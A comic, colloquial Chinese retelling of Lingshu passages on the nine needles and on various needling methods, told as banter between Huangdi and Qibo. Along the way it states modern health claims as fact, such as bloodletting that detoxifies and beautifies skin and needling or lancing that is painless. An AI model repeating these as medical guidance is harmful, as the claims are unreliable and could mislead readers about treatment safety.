岐伯点点头，继续道：“没错没错！所以说啊，针灸这活儿，看似简单，实则深奥。要想用好针，不光得学理论知识，还得结合实际情况，灵活运用才行。” 黄帝一听，连连点头：“对对对，岐伯说得太对了！那我以后可得好好学学这针灸学问了。”岐伯拍了拍黄帝的肩膀：“没错，黄帝啊，你得好好学学。不过呢，这针灸学问可不是一朝一夕就能学会的，得慢慢琢磨、慢慢实践才行。” 黄帝一听，顿时觉得压力山大：“妈呀，这得学到啥时候啊？”岐伯哈哈大笑：“别急别急，黄帝啊，你这急性子可得改改。学针灸啊，就像炖老火汤，得慢慢炖、慢慢熬才行。只要你肯下功夫，总有一天能炖出一锅香喷喷的‘针灸汤’来！” 黄帝一听，也忍不住笑了起来：“哈哈，岐伯啊，你这比喻可真够形象的！那我就慢慢炖我的‘针灸汤’吧！”说完，黄帝站起身来，拍了拍屁股上的尘土，哼着小曲儿回家了。 黄帝想到一个问题，觉得特别有意思，于是又把岐伯给叫来了，说：“岐伯啊，我听说你针灸玩得贼溜，能不能给我讲讲那九针都是咋用的啊？” 岐伯一听，心想：嘿，这可是个展示我医术的大好机会啊！于是，他清了清嗓子，就开始给黄帝讲解起来。 岐伯说：“陛下啊，这九针啊，各有各的用处，咱们先从镵针说起吧。镵针这家伙，长得跟个小锥子似的，专门对付那些在皮肤上跑来跑去、没定性的病。您要是发现皮肤上有个啥不对劲的地方，痒啊、疼啊啥的，就拿这镵针轻轻一刺，病邪就逃之夭夭了。不过啊，要是皮肤白白嫩嫩的，没啥大问题，那就别动它了，免得人家说你欺负弱小。” 黄帝一听，哈哈大笑：“岐伯啊，你这说得跟打地鼠似的，镵针就是那锤子，皮肤上的病邪就是那地鼠，一打一个准啊！” 岐伯也跟着笑了起来：“陛下说得没错，这镵针啊，还真是打地鼠的高手呢！” 接着，岐伯又拿起圆针说：“陛下您看，这圆针长得圆滚滚的，跟个小胖子似的。它啊，专门对付那些躲在分肉间的小病邪。啥是分肉间呢？就是那肌肉和肌肉之间的缝隙。这些小病邪啊，就爱藏在这些地方，搞点小动作。这时候，您就得拿这圆针进去搅和搅和，把它们给揪出来。” 黄帝一听，又乐了：“岐伯啊，你这说得跟掏耳朵似的，圆针就是那掏耳勺，分肉间就是那耳朵眼儿，一掏一个爽快啊！” 岐伯哭笑不得：“陛下啊，您这比喻虽然有点夸张，但意思还是对的。这圆针啊，还真是掏耳朵的高手呢！” 然后，岐伯又拿起锋针说：“陛下您看，这锋针啊，长得跟个小匕首似的，锋利得很。它啊，专门对付那些经络里的顽固病邪。这些病邪啊，跟牛皮糖似的，粘在经络上不下来。这时候，您就得拿这锋针进去扎几下，把它们给扎散了。” 黄帝一听，眼睛一亮：“岐伯啊，你这说得跟切牛肉似的，锋针就是那菜刀，经络就是那牛肉，一切一个痛快啊！” 岐伯这回是真的笑了：“陛下啊，您这比喻真是太形象了！不过啊，这锋针可不是用来切牛肉的，它是用来切病邪的！” 接下来，岐伯又拿起鍉针说：“陛下您看，这鍉针啊，长得跟个小棍儿似的，别看它简单，用处可大了。它啊，专门对付那些脉气虚弱、需要进补的病。您要是发现脉气不足了，就拿这鍉针在井荥分俞这些穴位上轻轻一按，气就补进去了。” 黄帝一听，若有所思：“岐伯啊，你这说得跟打气筒似的，鍉针就是那打气筒，脉气就是那气球，一打就鼓起来了！” 岐伯笑着摇了摇头：“陛下啊，您这比喻虽然有点牵强，但意思还是对的。这鍉针啊，还真是打气筒似的好东西呢！” 然后，岐伯又拿起铍针说：“陛下您看，这铍针啊，长得跟个小刀似的，锋利无比。它啊，专门对付那些大脓包。您要是发现身上长了个大脓包，又红又肿又疼，那就得拿这铍针进去一切，把脓给放出来。” 黄帝一听，眼睛又亮了：“岐伯啊，你这说得跟开西瓜似的，铍针就是那西瓜刀，脓包就是那西瓜，一切就开花了！” 岐伯这回是真的被逗乐了：“陛下啊，您这比喻真是太逗了！不过啊，这铍针可不是用来开西瓜的，它是用来开脓包的！” 接着，岐伯又拿起圆利针说：“陛下您看，这圆利针啊，长得跟个小矛似的，尖尖的，利利的。它啊，专门对付那些突然爆发的痹病。这些痹病啊，跟疯狗似的，说来就来，疼得要命。这时候，您就得拿这圆利针进去扎几下，把它们给扎老实了。” 黄帝一听，哈哈大笑：“岐伯啊，你这说得跟打狗棒似的，圆利针就是那打狗棒，痹病就是那疯狗，一打就老实了！” 岐伯这回是真的被黄帝的幽默感给打败了：“陛下啊，您这比喻真是太绝了！不过啊，这圆利针可不是用来打狗的，它是用来打痹病的！” 然后，岐伯又拿起毫针说：“陛下您看，这毫针啊，长得跟个小细线似的，又细又长。它啊，专门对付那些痹病引起的疼痛。这些疼痛啊，跟粘人精似的，粘在身上不下来。这时候，您就得拿这毫针进去扎几下，把它们给扎跑了。” 黄帝一听，眼睛一转：“岐伯啊，你这说得跟赶蚊子似的，毫针就是那苍蝇拍，疼痛就是那蚊子，一拍就跑路了！” 岐伯这回是真的笑得前仰后合：“陛下啊，您这比喻真是太生动了！不过啊，这毫针可不是用来赶蚊子的，它是用来赶疼痛的！” 接下来，岐伯又拿起长针说：“陛下您看，这长针啊，长得跟个小棍子似的，长长的。它啊，专门对付那些藏在身体深处的病邪。这些病邪啊，跟躲猫猫似的，藏在身体里面不出来。这时候，您就得拿这长针进去探一探，把它们给揪出来。” 黄帝一听，眼睛又亮了：“岐伯啊，你这说得跟钓鱼竿似的，长针就是那钓鱼竿，病邪就是那鱼儿，一钓就上钩了！” 岐伯这回是真的被黄帝的想象力给折服了：“陛下啊，您这比喻真是太有创意了！不过啊，这长针可不是用来钓鱼的，它是用来钓病邪的！” 然后，岐伯又拿起大针说：“陛下您看，这大针啊，长得跟个小锤子似的，重重的。它啊，专门对付那些水肿得厉害的关节。这些关节啊，跟水缸似的，肿得满满的。这时候，您就得拿这大针进去扎几下，把水给放出来。” 黄帝一听，哈哈大笑：“岐伯啊，你这说得跟放水闸似的，大针就是那放水闸，水肿就是那洪水，一放就泄洪了！” 岐伯这回是真的被黄帝给逗乐了：“陛下啊，您这比喻真是太贴切了！不过啊，这大针可不是用来放水闸的，它是用来放水肿的！” 最后，岐伯又拿起锋针说：“陛下您看，这锋针啊，咱们之前说过它是用来对付经络里的顽固病邪的。不过啊，它还有另一个用处，那就是对付五脏里的固定病邪。这些病邪啊，跟钉子户似的，赖在五脏里面不走。这时候啊，您就得根据四季的变化，拿这锋针在井荥分俞这些穴位上扎几下，把它们给赶出去。” 黄帝一听，眼睛一转：“岐伯啊，你这说得跟拆迁队似的，锋针就是那拆迁队，五脏里的病邪就是那钉子户，一拆就搞定了！” 岐伯这回是真的被黄帝给逗得不行了：“陛下啊，您这比喻真是太妙了！不过啊，这锋针可不是用来拆迁的，它是用来拆病邪的房子的！” 官针篇第七（二） 有一天，黄帝眉头紧锁，对着岐伯说：“岐伯啊，我这心里头有个疑惑，就是想不通针灸的刺法到底有啥讲究。你能不能给我讲讲？” 岐伯一听，心里暗笑：“这黄帝还真是好学啊，连针灸这种高深莫测的东西都敢问。”不过，岐伯可是个负责任的老师，他清了清嗓子，开始给黄帝讲解起来。 “黄帝啊，要说这针灸的刺法，那可真是个大学问。一共有九种刺法，对应着九种不同的病情变化。咱们就来一一揭秘吧！” “首先呢，第一种刺法叫俞刺。这俞刺啊，就是专门刺那些经络上的荥穴、俞穴，还有五脏六腑对应的穴位。你想啊，经络就像是人体里的高速公路，穴位就是高速路上的服务区。这荥穴、俞穴啊，就像是服务区里的加油站，能给经络提供能量。要是这些地方堵了或者虚了，咱们就得用针给它疏通疏通、补补能量。这就叫精准打击，直击要害！” 黄帝一听，眼睛一亮：“哦，原来是这样啊！那俞刺是不是就像给身体里的高速公路做保养一样？” 岐伯点头笑道：“对对对，黄帝您真是聪明绝顶啊！俞刺啊，就是给身体的高速公路做保养，让气血运行得更顺畅！” “接下来呢，第二种刺法叫远道刺。这远道刺啊，可有意思了。它讲究的是‘上病下治’，就是说你上面的病啊，得从下面治。比如说你头疼，咱们不扎头，而是扎脚上的穴位。为啥呢？因为经络是相通的嘛，上面的病可以通过经络传到下面来。咱们扎下面的穴位，就能把上面的病给引下来，然后给它消灭掉。这就叫远水解近渴！” 黄帝一听，笑得前仰后合：“哈哈，岐伯啊，你这解释真是太逗了！远水解近渴，这词儿用得太妙了！” 岐伯也忍不住笑了起来：“黄帝啊，您开心就好！咱们继续讲第三种刺法吧！” “第三种刺法叫经刺。这经刺啊，就是专门刺那些大经络上的结节和络脉。你想啊，经络要是堵了，气血就运行不畅，身体就会出问题。咱们用针把这些结节和络脉给疏通开，气血就能畅通无阻了。这就叫打通经络，一身轻松！” 黄帝点了点头：“嗯，这个我懂。就像家里的水管堵了一样，得找个东西给它疏通开才行。” 岐伯笑道：“对对对，黄帝您真是举一反三啊！经刺啊，就像疏通水管一样，让身体里的气血畅通无阻！” “接下来呢，第四种刺法叫络刺。这络刺啊，可是个有点血腥的刺法。它讲究的是刺小络上的血脉，放出一点血来。你想啊，身体里要是毒素多了，皮肤就会变差，甚至会长痘痘。咱们用针把小络上的血脉刺破，放出一点血来，就能把毒素给排出去。这就叫排毒养颜，一针见血！” 黄帝一听，瞪大了眼睛：“啊？放血？这不会疼吗？” 岐伯摇了摇头：“黄帝啊，您别担心。这放血啊，其实就像给身体做一次小小的清洁。而且啊，咱们用的针可细了，基本上感觉不到疼。您要是怕疼啊，我还可以给您打点麻药呢！” 黄帝一听，这才松了口气：“哦，原来是这样啊！那络刺是不是就像给身体做一次深度清洁一样？” 岐伯笑道：“对对对，黄帝您真是一点就透啊！络刺啊，就是给身体做一次深度清洁，让身体更加健康美丽！” “接下来呢，第五种刺法叫分刺。这分刺啊，可是个专门对付肌肉紧张的刺法。你想啊，要是肌肉紧张了，身体就会觉得僵硬、不舒服。咱们用针在分肉之间刺一下，就能让肌肉放松下来。这就叫分解肌肉紧张，轻松自在！” 黄帝一听，忍不住笑了起来：“哈哈，岐伯啊，你这解释真是太生动了！分刺啊，就像给身体做一次肌肉按摩一样！” 岐伯也笑了起来：“对对对，黄帝您真是想象力丰富啊！分刺啊，就像给身体做一次肌肉按摩，让身体更加放松舒适！” “接下来呢，第六种刺法叫大泻刺。这大泻刺啊，可是个有点狠的刺法。它讲究的是刺大脓包，用铍针给它切开，放出脓血来。你想啊，要是身体里长了个大脓包，那得多难受啊！咱们用这大泻刺啊，就能把这脓包给消灭掉。这就叫排脓放血，大刀阔斧！” 黄帝一听，忍不住皱了皱眉：“啊？这大泻刺听起来好吓人啊！” 岐伯连忙解释道：“黄帝啊，您别担心。这大泻刺啊，虽然听起来吓人，但其实是个很有效的治疗方法。而且啊，咱们用的铍针可锋利了，基本上感觉不到疼。您要是怕疼啊，我还可以给您打点麻药呢！” 黄帝一听，这才松了口气：“哦，原来是这样啊！那大泻刺是不是就像给身体做一次大扫除一样？” 岐伯笑道：“对对对，黄帝您真是聪明绝顶啊！大泻刺啊，就像给身体做一次大扫除，把身体里的垃圾都清除掉！” “接下来呢，第七种刺法叫毛刺。这毛刺啊，可是个专门对付表皮问题的刺法。你想啊，要是皮肤上长了个小痘痘或者小红点啥的，那多难看啊！咱们用针在皮肤上浅浅地刺一下，就能把这些小问题给解决掉。这就叫浮针浅刺，对付表皮问题！” 黄帝一听，忍不住笑了起来：“哈哈，岐伯啊，你这解释真是太贴切了！毛刺啊，就像给皮肤做一次美容一样！” 岐伯也笑了起来：“对对对，黄帝您真是见多识广啊！毛刺啊，就像给皮肤做一次美容，让皮肤更加光滑细腻！” “接下来呢，第八种刺法叫巨刺。这巨刺啊，可是个有点神奇的刺法。它讲究的是‘左病右治，右病左治’，就是说你左边的病啊，得从右边治；右边的病啊，得从左边治。你想啊，这左右两边啊，就像是天平的两端。要是哪一边重了或者轻了，天平就会失衡。咱们用这巨刺啊，就能把天平给调平衡了。这就叫左右互搏，平衡阴阳！” 黄帝一听，瞪大了眼睛：“啊？这么神奇？那巨刺是不是就像给身体做一次平衡调整一样？” 岐伯点了点头：“对对对，黄帝您真是慧眼识珠啊！巨刺啊，就像给身体做一次平衡调整，让身体更加协调健康！” “最后呢，第九种刺法叫焠刺。这焠刺啊，可是个有点特别的刺法。它讲究的是用烧红的针来刺穴位。你想啊，这烧红的针啊，就像个小火炉一样，能给身体带来温暖。咱们用这焠刺啊，就能把身体里的寒气给驱赶走。这就叫火针疗法，温暖身心！” 黄帝一听，忍不住笑了起来：“哈哈，岐伯啊，你这解释真是太有趣了！焠刺啊，就像给身体做一次温暖的拥抱一样！” 岐伯也笑了起来：“对对对，黄帝您真是妙语连珠啊！焠刺啊，就像给身体做一次温暖的拥抱，让身体感受到温暖和舒适！” 黄帝听完了岐伯的讲解，忍不住拍案叫绝：“哈哈，岐伯啊，你这针灸九刺讲解得太精彩了！让我这个门外汉都听得津津有味！真是受益匪浅啊！” 岐伯谦虚地笑了笑：“黄帝啊，您过奖了。我这只是雕虫小技罢了。针灸这门学问啊，博大精深，还有很多值得我们去探索和学习的地方呢！” 黄帝接着问岐伯：“嘿，岐伯啊，我听说针灸这东西挺神奇的，你能不能给我讲讲，怎么针对十二经来刺呢？”岐伯一听，哈哈一笑，说：“黄帝啊，你这问题问得好，我这就给你讲讲这针灸的十二绝技！” 第一招，叫做“偶刺”。偶刺啊，就像是找了一个小伙伴，一起对付心痹这个坏蛋。你想象一下，如果你的心痛得要命，怎么办呢？这时候，你就得找个针灸大师，他会在你的手心或者背心，对准你痛的那个地方，前面刺一针，后面也来一针。就像是给心脏来了个前后夹击，心痹这家伙就吓得赶紧跑了。不过啊，这针可不是随便刺的，得旁边斜着刺进去，讲究技巧呢！ 第二招，叫做“报刺”。报刺这名字听起来挺神秘的，其实就是对付那些喜欢到处乱跑的疼痛。这些疼痛啊，就像是调皮捣蛋的小鬼，一会儿上，一会儿下，让人捉摸不透。这时候，针灸大师就会出手了，他会在你痛的地方刺一针，然后不拔出来，左手按住那个地方，感受疼痛的变化，等小鬼现身了，再迅速拔针，再来一针，就像是打地鼠一样，把疼痛这个小鬼给打回老家！ 第三招，叫做“恢刺”。恢刺啊，就像是给筋脉做了一次按摩。想象一下，如果你的筋脉紧绷绷的，就像是被拉紧的橡皮筋，怎么办呢？这时候，针灸大师就会拿出他的银针，在你的筋脉旁边刺进去，然后轻轻地前后摆动针头，就像是给筋脉做了一次深度的spA，筋脉就放松下来，疼痛也就消失了。不过啊，这可得是个技术活，要是力度不对，可就变成“摧刺”了！ 第四招，叫做“齐刺”。齐刺这个名字听起来挺整齐的，就像是三军列阵，对付那些藏在深处的寒气。寒气这家伙啊，就像是潜伏在暗处的刺客，一不小心就会给你来个突然袭击。这时候，针灸大师就会拿出他的银针，先在中间刺一针，然后在旁边再刺两针，就像是给寒气来了个三面夹击。不过啊，这齐刺还有个别名，叫做“三刺”，意思就是用三针来对付那些深藏不露的痹气。 第五招，叫做“扬刺”。扬刺啊，就像是给寒气来了个大扫除。想象一下，如果你的身体里面堆积了很多寒气，就像是家里很久没有打扫一样，怎么办呢？这时候，针灸大师就会拿出他的银针，在中间刺一针，然后在旁边再刺四针，不过这四针可不是随便刺的，得浮在皮肤表面，就像是扫地一样，把寒气都给扫出去。这样一来，你的身体就变得清爽多了！ 第六招，叫做“直针刺”。直针刺啊，就像是给皮肤做了一次浅层spA。如果你的皮肤被寒气侵袭了，但是还没有完全侵入到里面，就像是皮肤表面蒙了一层灰一样，怎么办呢？这时候，针灸大师就会拿出他的银针，先用手把皮肤提起来，然后刺进去，就像是给皮肤做了一次深度的清洁，寒气就被赶跑了！ 第七招，叫做“输刺”。输刺啊，就像是给身体里面的热气来了个“开闸放水”。如果你的身体里面热气太盛了，就像是锅炉里面的水烧开了一样，怎么办呢？这时候，针灸大师就会拿出他的银针，直接刺进去，然后迅速拔出来，就像是打开了一个阀门，把热气都给放出去了。不过啊，这可得是个技术活，要是刺得不对，可就变成“烤刺”了！ 第八招，叫做“短刺”。短刺啊，就像是给骨头做了个深度按摩。如果你的骨头被痹气侵袭了，就像是骨头被冻住了一样，怎么办呢？这时候，针灸大师就会拿出他的银针，慢慢地刺进去，然后轻轻地摇动针头，就像是给骨头做了一次深度的按摩，痹气就被赶跑了！不过啊，这可得是个耐心活，要是刺得太快了，可就变成“闪刺”了！ 第九招，叫做“浮刺”。浮刺啊，就像是给肌肉来了个浅层spA。如果你的肌肉紧绷绷的，就像是被冻住了一样，怎么办呢？这时候，针灸大师就会拿出他的银针，在旁边刺进去，然后浮在皮肤表面，就像是给肌肉做了一次深度的清洁和按摩，肌肉就变得柔软多了！ 第十招，叫做“阴刺”。阴刺啊，就像是给寒厥来了个左右夹击。寒厥这家伙啊，就像是潜伏在身体里面的刺客，一不小心就会给你来个突然袭击。不过啊，它有个弱点，就是喜欢在左右两边同时出现。这时候，针灸大师就会拿出他的银针，在左右两边同时刺进去，就像是给寒厥来了个左右夹击，它就被吓得赶紧跑了！ 第十一招，叫做“傍针刺”。傍针刺啊，就像是给留痹来了个双重打击。留痹这家伙啊，就像是顽固的钉子户，在你的身体里面赖着不走。这时候，针灸大师就会拿出他的银针，先刺一针进去，然后在旁边再来一针，就像是给留痹来了个双重打击，它就被赶跑了！ 第十二招，叫做“赞刺”。赞刺啊，就像是给痈肿来了个“开膛破肚”。痈肿这家伙啊，就像是身体里面的毒瘤，一不小心就会越长越大。这时候，针灸大师就会拿出他的银针，直接刺进去，然后迅速拔出来，不过啊，这可不是普通的拔针，而是要让针头带出一点血来，就像是给痈肿来了个“开膛破肚”，它就被消灭了！ 哈哈，讲了这么多，你是不是觉得针灸这东西挺神奇的呢？其实啊，针灸就像是中医的魔法一样，能够用小小的银针，解决身体里面的大问题。不过啊，这可不是随便什么人都能做到的，得经过长时间的学习和实践才行哦！ 黄帝听了岐伯的讲解，也是哈哈大笑，说：“岐伯啊，你这十二绝技可真是厉害！看来我得好好学学才行啊！”岐伯一听，也是谦虚地说：“黄帝啊，你这是过奖了。其实啊，针灸这东西就像是做饭一样，只要掌握了技巧和方法，谁都能做出美味的佳肴来！” 官针篇第七（三） 黄帝问岐伯：“岐伯啊岐伯，你说这针灸刺法，到底有啥奥秘啊？能不能给我这个门外汉讲讲？” 岐伯一听，嘿，这问题有意思，于是他就慢悠悠地开口了：“黄帝啊黄帝，你这问题问得好！针灸刺法啊，那可是咱们老祖宗传下来的宝贝，深不可测啊！来来来，我给你细细道来。” 岐伯清了清嗓子，接着说：“你看啊，咱们人体里的脉络，那可是个神奇的地方。有的脉深得很，藏在肉里头，你看不见摸不着，对吧？这时候呢，你要是想刺它，就得讲究技巧了。你得轻轻地、悄悄地把针插进去，然后呢，别急着拔出来，得让它在里面多待会儿。为啥呢？因为你要等啊等，等到那脉气被你引导出来了，这才算成功。这就好比钓鱼，你得有耐心，不能急躁，不然鱼儿可就跑了哦！” 黄帝一听，点了点头：“哦~原来是这样啊，那要是脉比较浅呢？” 岐伯笑了笑：“脉浅啊？那更得小心了！你不能随便就刺下去，不然可就把好人家的脉给弄伤了。你得先用手按一按，找到那个脉的准确位置，然后啊，你得用力按住它，让它暂时‘休克’一下，这时候再刺，那就万无一失了。而且啊，刺的时候你还得注意，千万别让那些精华的东西流出来了，咱们只要把那些不好的邪气赶跑就行啦！” 黄帝一听，眼睛一亮：“哇，原来针灸刺法还有这么多门道啊！岐伯，你这简直就是人体探险家啊！” 岐伯摆了摆手：“哪里哪里，我这也是前人的智慧加上自己的一点小琢磨罢了。不过话说回来，针灸这东西啊，看似简单，实则深奥得很。你得先了解人体的构造，知道每条脉络的走向和特性，然后才能对症下药，手到病除。不然啊，你就算刺得再准，那也是瞎猫碰到死耗子，碰运气罢了。” 黄帝有一天突发奇想，对着身边的岐伯说：“嘿，岐伯，我听说有个叫‘三刺’的针灸秘籍，能不能给我说道说道？这玩意儿到底藏着啥惊天大秘密啊？” 岐伯一听，心里那个乐呵，心想这黄帝大爷平时治理国家一本正经，没想到对针灸也这么感兴趣。于是，他捋了捋长胡子，慢悠悠地说：“哎哟，黄帝，您这可是问到点子上了。所谓‘三刺’，那可是咱们中医针灸里的绝活儿，专门对付那些藏在身体里的妖魔鬼怪——邪气啥的。” 黄帝一听，眼睛立马亮了：“快说快说，这‘三刺’到底怎么个刺法？” 岐伯清了清嗓子，开始了他的爆笑讲解：“咱们先说这第一刺啊，就像是给皮肤挠痒痒，但可不是真的挠，而是要浅浅地刺一下，把表皮的阳气给透出来。您想啊，阳气足了，那些躲在表皮的小恶魔——阳邪，不就吓得屁滚尿流，赶紧逃跑了嘛！这一刺，咱们就叫它‘逐阳邪浅刺法’，听着就霸气侧漏，对吧？” 黄帝一听，哈哈大笑：“有趣有趣，继续继续！” 岐伯接着说：“这第二刺呢，咱们就得稍微用点劲儿了，得把针往肌肉层里送一送，但也不能太深，得在肌肉和肌肉之间的缝隙外徘徊。这一刺的目的，是要把那些藏在肌肉里的阴邪给逼出来。您想啊，这肌肉层就像是阴邪的小窝，咱们轻轻一搅和，它们还能待得住吗？这一招，咱们就叫它‘逼阴邪中刺法’，听着就让人心里直痒痒，想试试！” 黄帝笑得前仰后合：“岐伯啊岐伯，你这讲解真是绝了！那第三刺呢？是不是得来个终极一击，把那些顽固的邪气一网打尽？” 岐伯点头如捣蒜：“对对对，您说得太对了！这第三刺，那可是咱们的大招，得深深地刺入，直达分肉之间，也就是肌肉纤维的深层。这时候，您就会感觉到一股神奇的力量，那就是咱们说的‘谷气’。这谷气啊，就像是身体里的正能量，它一出来，那些残留的邪气就彻底没辙了，只能乖乖投降。这一刺，咱们就叫它‘引谷气深刺法’，听着就让人热血沸腾，是不是？” 黄帝听得那叫一个过瘾，拍着手说：“岐伯啊岐伯，你这讲解真是让我大开眼界！不过话说回来，这‘谷气’到底是个啥玩意儿？为啥这么神奇？” 岐伯微微一笑，开始卖起了关子：“这谷气啊，可是个好东西，它就像是咱们身体里的营养快线，能给身体加油打气。针灸的时候，只要把这谷气给引出来，那身体就能源源不断地获得能量，自然就能打败那些邪气了。不过话说回来，这谷气可不是那么好引的，得靠咱们针灸师的手艺和感觉，说白了，就是得靠缘分！” 黄帝一听，顿时来了兴趣：“缘分？这么说来，这针灸还得看天意了？” 岐伯摆摆手：“也不能这么说。天意是一部分，但更重要的是咱们针灸师的手艺和经验。就像炒菜一样，同样的食材，不同的人炒出来的味道就是不一样。针灸也是如此，同样的穴位，不同的针灸师刺出来的效果也是千差万别。所以啊，要想引谷气，除了靠缘分，还得靠咱们针灸师的真本事！” 黄帝听得连连点头：“原来如此，原来如此！看来我这黄帝也得好好学学了，不然哪天身体不舒服了，还得求着你们针灸师给扎几针呢！” 岐伯一听，连忙摆手：“黄帝，您这可是太客气了。咱们中医针灸啊，那可是为人民服务的行业，您要是哪天不舒服了，咱们肯定得义不容辞地给您扎几针，保证让您舒舒服服的！” 黄帝一听，哈哈大笑：“好！好！有岐伯这句话，我这心里就踏实多了！来来来，咱们再聊聊这针灸的其他妙处……” 就这样，黄帝和岐伯你一言我一语地聊了起来，从针灸的奥秘聊到了中医的智慧，从身体的健康聊到了人生的哲理。他们的故事啊，就像是一坛陈年老酒，越品越有味儿，让人回味无穷。 咱们再说说这“三刺”啊，它可不仅仅是针灸上的一个技巧，更是咱们中医智慧的体现。它告诉咱们啊，做事儿得有耐心、有步骤、有方法。就像咱们平时遇到问题一样，不能一股脑儿地往上冲，得先冷静分析、找出问题所在、然后一步一步地解决它。这“三刺”啊，就像是咱们解决问题的一个模板，让咱们在面对困难时能够更加从容不迫、游刃有余。 黄帝找到了岐伯，问了一个超级严肃的问题：“岐伯啊，我听说针灸这东西挺玄乎的，能不能给我讲讲用针的讲究啊？” 岐伯一听，立马摆出一副老中医的架势，慢条斯理地说：“哎呀，陛下啊，这用针可不是闹着玩的。你得先知道年份的变化、气血的盛衰，还有人体虚实的来龙去脉，不然的话，你这针灸大夫可就当不合格啦！” 黄帝一听，眉头紧锁，心想：“这岐伯老头儿，说话怎么这么绕呢？就不能简单明了地说清楚吗？”不过，黄帝毕竟是个聪明人，他很快就从岐伯的话里听出了一丝门道。于是，他决定让岐伯用更接地气、更幽默的方式给他讲解一下针灸的讲究。 岐伯一看黄帝这表情，就知道他心里在想什么。于是，他清了清嗓子，开始了一段爆笑针灸讲解。 “陛下啊，你知道吗？这针灸啊，就像是咱们做饭炒菜一样，你得先准备好食材，也就是咱们人体的穴位。但是，光有食材可不行，你还得知道火候和时间，不然的话，炒出来的菜不是糊了就是生了，对吧？” 黄帝一听，点了点头，心想：“这岐伯老头儿，还挺会比喻的嘛！” 岐伯接着说：“所以啊，用针也是一样的道理。你得先知道人体的气血是怎么运行的，什么时候强盛，什么时候衰弱。这就好比咱们种地一样，春天该种什么，夏天该浇多少水，秋天该收什么，冬天该怎么保暖，都是有讲究的。你要是不知道这些，那可就要闹笑话了！” 黄帝一听，哈哈大笑，说：“岐伯啊，你这比喻真是太贴切了！那你快说说，这气血运行到底有什么讲究啊？” 岐伯一看黄帝这么感兴趣，就更来劲了。他说：“陛下啊，这气血运行啊，可是个大话题。不过呢，我可以给你简单说说。咱们人体的气血啊，就像是一条流动的小溪，从早到晚都在不停地流。但是呢，这条小溪可不是一直都一样宽的，它有时候宽，有时候窄，有时候快，有时候慢。这宽窄快慢啊，就是咱们说的气血盛衰了。” 黄帝一听，恍然大悟，说：“哦，原来是这样啊！那气血盛衰跟针灸有什么关系呢？” 岐伯说：“关系大了去了！你想啊，要是气血强盛的时候，你给它来一针，那不就是火上浇油吗？反过来呢，要是气血衰弱的时候，你给它来一针，那不就是雪上加霜吗？所以啊，咱们得知道气血什么时候强盛，什么时候衰弱，才能准确地给它扎针。” 黄帝一听，连连点头，说：“岐伯啊，你这解释真是太清楚了！那虚实又是怎么回事呢？” 岐伯说：“虚实啊，就是咱们人体的一个状态。虚呢，就像是饿肚子一样，没力气；实呢，就像是吃撑了一样，不舒服。你要是给虚的人扎针，那就得轻轻地、慢慢地来，不然的话，他可就受不了啦！反过来呢，你要是给实的人扎针，那就得重重地、快快地来，不然的话，他的病可就好不了啊！” 黄帝一听，哈哈大笑，说：“岐伯啊，你这针灸课真是太有意思了！不过呢，我还是有点不明白，这年份的变化跟针灸又有什么关系呢？” 岐伯说：“陛下啊，这年份的变化啊，可是跟咱们人体的气血运行息息相关的。你想啊，一年有四季，春夏秋冬，每个季节的气血运行都不一样。春天呢，气血开始复苏，万物复苏；夏天呢，气血达到顶峰，万物茂盛；秋天呢，气血开始收敛，万物开始凋零；冬天呢，气血潜伏起来，万物都休息了。所以啊，咱们得知道现在是什么季节，才能准确地给人体扎针。” 黄帝突发奇想，对着身边的岐伯说：“岐伯啊，我听说针灸有五种刺法，分别对应咱们人体的五脏，这事儿是真的吗？你给我讲讲呗。” 岐伯一听，心想这黄帝还真是好学不倦啊，于是慢悠悠地捋了捋胡子，开始了他的针灸大讲堂：“黄帝啊，这事儿说来话长，不过既然你问了，那我就给你细细道来。咱们先说第一种，半刺。” “半刺？听起来像是半吊子刺法？”黄帝眨巴着眼睛，一脸好奇。 岐伯翻了个白眼，心想这黄帝还真是爱开玩笑：“非也非也，半刺可不是半吊子的意思。它呢，就像是给皮肤挠痒痒一样，针只浅浅地扎进去一点点，然后就迅速拔出来，连肉都不会伤到。这种刺法就像是拔毛那么轻松，主要是用来调理皮肤的气机。你想啊，皮肤是咱们人体的第一道防线，跟肺的功能是不是很相似？所以啊，半刺就是肺的对应刺法。” 黄帝一听，恍然大悟：“哦~原来如此，那接下来呢？” 岐伯接着说：“第二种刺法，咱们叫它豹文刺。为啥叫豹文刺呢？你看豹子身上的花纹，是不是左一道右一道的？这豹文刺啊，也是这么回事。它需要在身体的左右前后都扎上针，专门挑那些经络上的穴位下手，目的是为了放出经络里的淤血。这就像给心脏疏通血管一样，所以豹文刺就是心的对应刺法啦。” 黄帝听得津津有味，忍不住插嘴道：“那岂不是说，扎完豹文刺，人就能像豹子一样跑得飞快了？” 岐伯哭笑不得：“黄帝啊，你这是想多了。针灸可不是能让人变成超人的魔法，它只能帮你调理身体，恢复健康。” 黄帝挠了挠头，嘿嘿一笑：“开个玩笑嘛，你继续讲。” 岐伯无奈地摇了摇头，接着讲第三种刺法：“第三种呢，咱们称之为关刺，或者你也可以叫它渊刺、岂刺。这名字听起来有点复杂，但其实操作起来很简单。它就是直接扎在关节附近的肌腱上，用来治疗筋痹。记住啊，扎的时候千万别出血，不然可就前功尽弃了。这肝主筋嘛，所以关刺就是肝的对应刺法。” 黄帝一听，眼睛一亮：“那这关刺岂不是能治疗关节炎、腱鞘炎之类的毛病了？” 岐伯点了点头：“确实有一定效果，但针灸可不是万能的，还得结合其他治疗方法才行。” 黄帝若有所思地点了点头，然后催促道：“那快说说第四种刺法吧。” 岐伯清了清嗓子，继续道：“第四种刺法，咱们称之为合谷刺。这名字听起来有点玄乎，但其实操作起来挺直观的。你看那鸡爪子，是不是分三趾？这合谷刺呢，就是在分肉之间扎上三针，形成一个类似鸡爪子的形状。这种刺法主要是用来治疗肌肉痹痛的。脾主肌肉嘛，所以合谷刺就是脾的对应刺法。” 黄帝一听，忍不住笑了起来：“你这比喻可真够形象的，不过话说回来，这合谷刺扎起来是不是跟给鸡爪子打针一样？” 岐伯也被黄帝逗乐了：“哈哈，你这么说也没错。不过咱们这可是给人治病，跟给鸡打针还是有本质区别的。” 黄帝笑了一会儿，然后正色道：“那最后一种刺法呢？” 岐伯收敛了笑容，认真地说：“最后一种刺法，咱们称之为输刺。这种刺法可厉害了，它要求针要直进直出，深深地扎到骨头里，用来治疗骨痹。你想啊，肾主骨嘛，所以输刺就是肾的对应刺法。这输刺啊，就像是给骨头做了一次深度按摩，虽然过程可能有点痛苦，但效果可是杠杠的。” 本神篇第八（一） 